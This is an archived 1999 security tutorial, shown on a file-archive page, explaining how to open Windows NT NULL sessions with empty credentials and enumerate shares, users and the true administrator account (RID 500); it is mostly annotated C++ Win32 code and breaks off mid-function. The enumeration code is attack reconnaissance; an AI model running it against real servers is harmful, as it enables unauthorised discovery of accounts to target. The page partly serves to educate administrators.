what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

null.sessions.html

null.sessions.html
Posted Aug 17, 1999
Authored by JD Glaser

Excellent detailed explanation describing how to programmatically connect to NT Server NULL Sessions and extract the name of the true administrator account.

SHA-256 | 385e5b27d636bd14505e27e7fb7bbe9aae23dcdffcaf95f465b255d4a5c97685
Download | Favorite | View

null.sessions.html

Change Mirror Download
<html>

<head>
<title>About NULL Sessions</title>
<meta name="GENERATOR" content="Microsoft FrontPage 3.0">


<meta name="Microsoft Theme" content="mdcont 000, default"><meta name="Microsoft Border" content="tlb, default"></head>

<body bgcolor="#FFFFFF" text="#000000" link="#CC3333" vlink="#808080" alink="#FF3366">
<!--mstheme--><font face="verdana, arial, helvetica">

<blockquote>
  <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  <small><strong>Details About NULL Sessions</strong></small></p>
  <p><small>This page is a detailed explanation for programmatically connecting to NT Server
  NULL Sessions and extracting the name of the true administrator account. Even
  non-programmer Admins should read through this and become familiar with the API's
  explained in order to better understand the NT environment and recognize code that might
  be used against them.</small></p>
  <p><small>The original purpose of NULL sessions is to allow unauthenticated hosts to
  obtain browse lists from NT servers and participate in MS networking. Mostly this is
  useful for Win95/98/NT hosts who are not domain members, but still need to obtain browsing
  information. </small></p>
  <p><small>The problem occurs in cases where a NULL session becomes included in the
  everyone group and now has access to resources to which they weren't authenticated, but
  that the authenticated group had permissions for. Originally, 'everyone' did not mean
  'anyone'. You still had to log on to be in the everyone group. however, NULL Sessions are
  the one case where 'everyone' could mean 'anyone'. This is the reason MS created the *NEW*
  Authenticated group. The Authenticated group does not include NULL Sessions and so can
  never mean 'anyone' - until someone finds an exploit.</small></p>
  <p><small>The following code segments are commented to show exactly what is happening,
  what API's are being used, and how the true administrator name can be identified.</small></p>
  <p><small>First - making a&nbsp; NULL Session connection</small></p>
  <p><small>One way to this is by using the Net Use command with an empty password.
  Programmatically, it looks like this....</small></p>
  <p><small>//This function called from dialog that fills listbox with connections</small></p>
  <p><small>BOOL EstablishNullSession(CString TargetHost, CNTOHunterDlg* pDlg)<br>
  {<br>
  <font color="#0000FF">//Setup for UNICODE </font><br>
  char* pTemp = TargetHost.GetBuffer(256);<br>
  WCHAR wszServ[256];<br>
  LPWSTR Server = NULL;<br>
  <br>
  <font color="#0000FF">//Convert to Unicode</font><br>
  MultiByteToWideChar(CP_ACP, 0, pTemp,<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  strlen(pTemp)+1, wszServ,<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  sizeof(wszServ)/sizeof(wszServ[0]) );<br>
  </small></p>
  <p><small><font color="#0000FF">//Create the IPC$ share connection string we need </font><br>
  Server = wszServ;</small></p>
  <p><small>LPCWSTR szIpc = L"\\IPC$";<br>
  WCHAR RemoteResource[UNCLEN + 5 + 1]; // UNC len + \IPC$ + NULL<br>
  DWORD dwServNameLen;<br>
  DWORD dwRC;<br>
  </small></p>
  <p><small><font color="#0000FF">//Setup Win32 structures and variables we need</font><br>
  NET_API_STATUS nas;<br>
  <br>
  USE_INFO_2 ui2;<br>
  SHARE_INFO_1* pSHInfo1 = NULL;<br>
  DWORD&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dwEntriesRead;<br>
  DWORD&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dwTotalEntries;<br>
  </small></p>
  <p><small><font color="#0000FF">//Set up handles to tree control to insert connection
  results </font></small></p>
  <p><small>HTREEITEM machineRoot, shareRoot, userRoot, adminRoot, attribRoot;<br>
  <br>
  char sharename[256];<br>
  char remark[256];<br>
  <br>
  if(Server == NULL || *Server == L'\0')<br>
  {<br>
  SetLastError(ERROR_INVALID_COMPUTERNAME);<br>
  return FALSE;<br>
  }<br>
  <br>
  dwServNameLen = lstrlenW( Server );<br>
  <br>
  <font color="#0000FF">//Test for various errors in connection string and recover</font><br>
  if(Server[0] != L'\\' && Server[1] != L'\\')<br>
  {<br>
  // prepend slashes and NULL terminate<br>
  RemoteResource[0] = L'\\';<br>
  RemoteResource[1] = L'\\';<br>
  RemoteResource[2] = L'\0';<br>
  }<br>
  else<br>
  {<br>
  dwServNameLen -= 2; // drop slashes from count<br>
  RemoteResource[0] = L'\0';<br>
  }<br>
  <br>
  if(dwServNameLen > CNLEN)<br>
  {<br>
  SetLastError(ERROR_INVALID_COMPUTERNAME);<br>
  return FALSE;<br>
  }<br>
  <br>
  if(lstrcatW(RemoteResource, Server) == NULL) return FALSE;<br>
  if(lstrcatW(RemoteResource, szIpc) == NULL) return FALSE;<br>
  <font color="#0000FF">//Start with clean memory</font><br>
  ZeroMemory(&ui2, sizeof(ui2));<br>
  <font color="#0000FF">//Fill in the Win32 network structure we need to use connect API</font><br>
  ui2.ui2_local = NULL;<br>
  ui2.ui2_remote = (LPTSTR) RemoteResource;<br>
  ui2.ui2_asg_type = USE_IPC;<br>
  ui2.ui2_password = (LPTSTR) L"";<strong><font color="#0000FF"> //SET PASSWORD TO
  NULL</font></strong><br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ui2.ui2_username = (LPTSTR) L"";<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ui2.ui2_domainname = (LPTSTR) L"";<br>
  </small></p>
  <p><small><font color="#0000FF">//MAKE THE NULL SESSION CALL</font> <br>
  nas = NetUseAdd(NULL, 2, (LPBYTE)&ui2, NULL);<br>
  <br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dwRC = GetLastError();<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if( nas == NERR_Success ) <br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; machineRoot =
  pDlg->m_Victims.InsertItem(TargetHost, 0, 0,
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  TVI_ROOT);<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>
  </small></p>
  <p><small><font color="#0000FF">//THIS IS WHERE NT HANDS OUT IT INFORMATION</font><br>
  nas = NetShareEnum((char*)Server, 1, (LPBYTE*)&pSHInfo1,<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  MAX_PREFERRED_LENGTH, <br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  &dwEntriesRead, <br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  &dwTotalEntries, NULL);<br>
  <br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dwRC = GetLastError();<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if( nas == NERR_Success ) <br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(dwTotalEntries >
  0)<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  shareRoot = pDlg->m_Victims.InsertItem("Shares",
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  machineRoot,TVI_LAST);<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  userRoot = pDlg->m_Victims.InsertItem("Users",
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  machineRoot,TVI_LAST);<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  adminRoot = pDlg->m_Victims.InsertItem("Admin",
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  machineRoot,TVI_LAST);<br>
  <br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(int x=0;
  x<(int)dwTotalEntries; x++)<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  <font color="#0000FF">// Convert back to ANSI</font><br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  WideCharToMultiByte(CP_ACP, 0, (const unsigned
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  short*)pSHInfo1->shi1_netname, -1,<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  sharename, 256, NULL, NULL ); <br>
  <br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  WideCharToMultiByte( CP_ACP, 0, (const unsigned
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  short*)pSHInfo1->shi1_remark, -1,<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  remark, 256, NULL, NULL ); <br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  CString ShareDetails = sharename;<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  ShareDetails = ShareDetails + " - " + remark; <br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  <font color="#0000FF">//fill the tree with connect info</font><br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  attribRoot = pDlg->m_Victims.InsertItem(ShareDetails,
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  shareRoot,TVI_LAST);<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  pSHInfo1++;<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>
  <br>
  <font color="#0000FF">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //My Wrapper function for
  listing users - see below</font><br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DoNetUserEnum(Server, pDlg, userRoot,
  adminRoot);<br>
  </small></p>
  <p><small><font color="#0000FF">//WE ARE DONE, SO KILL THE CONNECTION</font><br>
  nas = NetUseDel(NULL, (LPTSTR) RemoteResource, 0);<br>
  <br>
  TargetHost.ReleaseBuffer();<br>
  SetLastError( nas );<br>
  return FALSE;<br>
  }</small></p>
  <p><small>The following function is how one can programmatically determine the
  administrator status of an account......</small></p>
  <p><small>bool GetAdmin(char* pServer, char* pUser, CString& Name)<br>
  {<br>
  &nbsp;&nbsp;&nbsp; BOOL fAdmin = FALSE;<br>
  &nbsp;&nbsp;&nbsp; DWORD dwDomainName,dwSize,dwAdminVal;<br>
  &nbsp;&nbsp;&nbsp; SID_NAME_USE use;<br>
  &nbsp;&nbsp;&nbsp; PSID pUserSID = NULL; <font color="#0000FF">// SID for user</font><br>
  &nbsp;&nbsp;&nbsp; int rc; <br>
  &nbsp;&nbsp;&nbsp; int iSubCount;<br>
  <br>
  &nbsp;&nbsp;&nbsp; bool bFoundHim = 0;<br>
  &nbsp;&nbsp;&nbsp; dwDomainName = 256;<br>
  &nbsp;&nbsp;&nbsp; dwSize = 0;<br>
  &nbsp;&nbsp;&nbsp; dwAdminVal = 0;<br>
  &nbsp;&nbsp;&nbsp; iSubCount = 0;<br>
  <br>
  &nbsp;&nbsp;&nbsp; <font color="#0000FF">//Call API for buffer size since we don't know
  size beforehand</font><br>
  &nbsp;&nbsp;&nbsp; rc = LookupAccountName(pServer, <br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  pUser, pUserSID,<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  &dwSize, szDomainName,<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  &dwDomainName, &use );<br>
  &nbsp;&nbsp;&nbsp; rc = GetLastError();<br>
  <br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //Allocate a larger
  buffer<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(rc ==
  ERROR_INSUFFICIENT_BUFFER)<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  pUserSID = (PSID) malloc(dwSize);</small></p>
  <p><small>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <font color="#0000FF">//Repeat call
  now that we have the right size buffer</font><br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  rc = LookupAccountName(pServer,<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  pUser, pUserSID,<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  &dwSize, szDomainName, <br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  &dwDomainName, &use );<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } <br>
  &nbsp;&nbsp;&nbsp; <br>
  <font color="#0000FF">//Scan the SIDS for the golden key - ADMIN == 500 </font></small></p>
  <p><small><font color="#0000FF">//Get a count of SID's</font><br>
  iSubCount = (int)*(GetSidSubAuthorityCount(pUserSID)); <br>
  <font color="#0000FF">//Admin SID is the last element in the count</font><br>
  dwAdminVal = *(GetSidSubAuthority(pUserSID, iSubCount-1));</small></p>
  <p><small>if(dwAdminVal==500) <font color="#0000FF">//TEST TO SEE IF THIS IS THE ADMIN</font><br>
  &nbsp;&nbsp;&nbsp; {<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Name.Format("Admin is %s\\%s\n",
  szDomainName, pUser);<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bFoundHim = true;<br>
  &nbsp;&nbsp;&nbsp; }<br>
  <br>
  &nbsp;&nbsp;&nbsp; delete pUserSID;<br>
  &nbsp;&nbsp;&nbsp; return bFoundHim; <font color="#0000FF">//WE KNOW WHO HE IS, ADD HIM TO
  THE TREE</font><br>
  }</small></p>
  <p>&nbsp;</p>
  <p><small>Wrapper for Listing the user accounts.....</small></p>
  <p><small>void DoNetUserEnum(const wchar_t* pServer, CNTOHunterDlg* pDlg,
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  HTREEITEM userRoot, HTREEITEM adminRoot)<br>
  {&nbsp;&nbsp;&nbsp; <br>
  &nbsp;&nbsp;&nbsp; USER_INFO_10 *pUserbuf, *pCurUser;<br>
  &nbsp;&nbsp;&nbsp; DWORD dwRead, dwRemaining, dwResume, dwRC;<br>
  <br>
  &nbsp;&nbsp;&nbsp; char userName[256];<br>
  &nbsp;&nbsp;&nbsp; char userServer[256];<br>
  <br>
  &nbsp;&nbsp;&nbsp; dwResume = 0;<br>
  <br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(pServer[0] != L'\\'
  && pServer[1] != L'\\')<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  <font color="#0000FF">//Start sting with correct UNC slashes and NULL terminate</font><br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  RemoteResource[0] = L'\\';<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  RemoteResource[1] = L'\\';<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  RemoteResource[2] = L'\0';<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  dwServNameLen -= 2; // drop slashes from count<br>
  <br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  RemoteResource[0] = L'\0';<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>
  <br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(dwServNameLen >
  CNLEN)<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  SetLastError(ERROR_INVALID_COMPUTERNAME);<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  return;<br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>
  <br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  if(lstrcatW(RemoteResource, pServer) == NULL) return;<br>
  <br>
  &nbsp;&nbsp;&nbsp; do&nbsp;&nbsp;&nbsp; <br>
  &nbsp;&nbsp;&nbsp; {&nbsp;&nbsp;&nbsp; <br>
  &nbsp;&nbsp;&nbsp; <br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pUserbuf = NULL;</small></p>
  <p><small><font color="#0000FF">//THIS IS THE API THE NT USES TO HAND OUT IT's LIST</font><br>
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dwRC = NetUserEnum(RemoteResource, 10, 0,
  (BYTE**)
